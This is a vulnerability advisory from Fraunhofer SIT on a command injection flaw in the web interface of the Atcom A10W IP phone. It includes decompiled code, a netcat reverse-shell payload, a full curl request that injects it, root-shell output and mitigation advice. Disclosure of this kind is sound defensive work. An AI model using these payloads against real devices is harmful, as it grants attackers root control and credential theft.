Fraunhofer SIT

1. Summary

Vendor: Atcom

Product: Atcom A10W

Affected Version: Firmware 2.6.1a2421

CVSS Score: 9.0 (Critical)
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:U/RC:R/CR:M/IR:M/AR:H/MAV:A/MAC:L/MPR:L/MUI:N/MS:U/MC:H/MI:H/MA:H)

Severity: high

Remote exploitable: yes

The Atcom A10W IP phone firmware has a fundamental design problem. The device does not contain an input verification for external user input. This problem allows an attacker to trigger a privilege escalation and command injection vulnerability in the webservice.

The firmware of the Atcom A10W IP phone contains a vulnerability which allows an attacker to control the device by injecting arbitrary OS commands via Web-Requests. The attacker has to be in the same network and authenticated as simple user to the phone's web server.

Command Injection (Vulnerability 1):

The admin web interface contains an option for remotely downloading a phone book via ftp or web server ("Contacts" -> "Remote Phonebook"-> "Remote URL"). The input values like URL name etc. are forwarded to the `mmimain` binary which will execute the `wget` command binary on the phone. See following code excerpt (decompiled pseudo code):

```
v18 = 0;
strcpy(&v16, "rm_pb.xml");
memset(&s, 0, 118);
*(_DWORD *)v14 = 0;
memset(&v15, 0, 252);
*(_DWORD *)command = 0;
memset(&v13, 0, 252);
...
}
else if ( !strncmp(s1, "ftp://", 6u) )                          External input -------|
{                                                                                    V
  snprintf(command, 255u, "wget -O %s/%s %s 2>/dev/null", "/usr/local/data/tmp/", &v16, s1);
  if ( system(command) )
    return -1;
}
else if ( !strncmp(s1, "http://", 7u) )
...
```

This command will be executed by the C function `system`, an attacker can inject arbitrary commands by closing the wget command with a ";" and inject own arbitrary commands.

Further the user privilege handling is not enforced on server side, this means an attacker with only user privileges can trigger this injection, too.

2. Impact

Command Injection, Trigger Remote Root Shell and Code Execution:

If an attacker can somehow get knowledge about the login credentials of at least a user or the device still has the standard credentials, he can use the command injection (vulnerability 1) to establish a remote reverse shell. Because the webserver is running with root privileges the injected command and established shell is running thereby as root. The attacker gets the highest privileges on the device. With such a shell he can change device configuration, or even read out the admin password, because this is stored in plaintext.

The reverse shell can be established as follows:
On client side (attacker) listen via the netcat command for the reverse connection:

```
nc -vvl -p 4444
```

The payload to start a reverse shell connection can be:

```
ftp://127.0.0.1;mknod /tmp/pipe p; /bin/sh 0</tmp/pipe | /bin/busybox nc 10.148.207.102 4444
1>/tmp/pipe #
```

The command injecting request via curl to inject the payload for the reverse shell (back connection) looks as follows:

```
curl -i -s -k -X  'POST'  \
 -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0'
-H 'Accept: text/plain, */*; q=0.01'  -H 'Accept-Language: de,en-US;q=0.7,en;q=0.3'  -H
'Referer: https://10.148.207.76/index.html'  -H 'Content-Type: application/x-www-form-
urlencoded; charset=UTF-8'  -H 'X-Requested-With: XMLHttpRequest'  -H 'Content-Length: 491'  -
H 'Authorization: Digest username="user", realm="IP Phone Web Configuration",
nonce="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", uri="/cgi-
bin/web_cgi_main.cgi?user_set_xml_remote_phonebook",
response="426ce784d218d97b901d4016ef41950a", qop=auth, nc=00000014, cnonce="6b212ba3b72dcee4"'
-H 'Connection: keep-alive'  -H ''  \
--data-binary
$'phonebook1_remote_url=ftp%3A%2F%2F127.0.0.1%3Bmknod%20%2Ftmp%2Fpipe%20p%3B%20%2Fbin%2Fsh%200
%3C%2Ftmp%2Fpipe%20%7C%20%2Fbin%2Fbusybox%20nc%2010.148.207.102%204444%201%3E%2Ftmp%2Fpipe%20%
23&phonebook1_display_name=test&phonebook2_remote_url=&phonebook2_display_name=&phonebook3_rem
ote_url=&phonebook3_display_name=&phonebook4_remote_url=&phonebook4_display_name=&phonebook5_r
emote_url=&phonebook5_display_name=&search_remote_phonebook_name=1&search_flash_time=60&user_s
et_xml_remote_phonebook' \
'https://10.148.207.76/cgi-bin/web_cgi_main.cgi?user_set_xml_remote_phonebook'
```

Reverse shell:

```
Laptop:~$ nc -vvl -p 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [10.148.207.76] port 4444 [tcp/*] accepted (family 2, sport 40157)
id
uid=0(root) gid=0(root)
```

The request service for the remote phonebook is running as an OS service, this means after each reboot of the device or after a certain time interval the phone automatically connects to a listening port.

```
PID USER       VSZ STAT COMMAND
    1 root       664 S    init [5]
    2 root         0 SW   [kthreadd]
    3 root         0 SW   [ksoftirqd/0]
   …
```

```
  513 root      1152 S    klogd -c 3
  522 root       660 S    ntpclient -4 -s -c 525600 -i 1000 -h 2.de.pool.ntp.o
  526 root      3760 S    lighttpd/sbin/lighttpd -f lighttpd/config/lighttpd.c
 1192 root      1156 S    /bin/sh -c wget -O /usr/local/data/tmp//rm_pb.xml ftp://127.0.0.1
mknod /tmp/pipe p; /bin/sh 0</tmp/pipe | /bin/busybox nc 10.148.207.102 4444 1>/tmp/pipe #
2>dev/null

 1195 root      1156 S    /bin/sh
 1196 root      1156 S    /bin/busybox nc 10.148.207.102 4444
```

An attacker only has to inject the command once.

3. Workaround

Change the standard credentials and use strong passwords, which will not be guessable. Restrict the web interface access to a well-known group of people.

4. Possible fix

Input validation must be handled on server side, not on client side (application) layer

Another mitigation strategy is to reduce the privileges of the webserver, it should not run as root. If the system implements a user management concept, this should be enforced on all layers.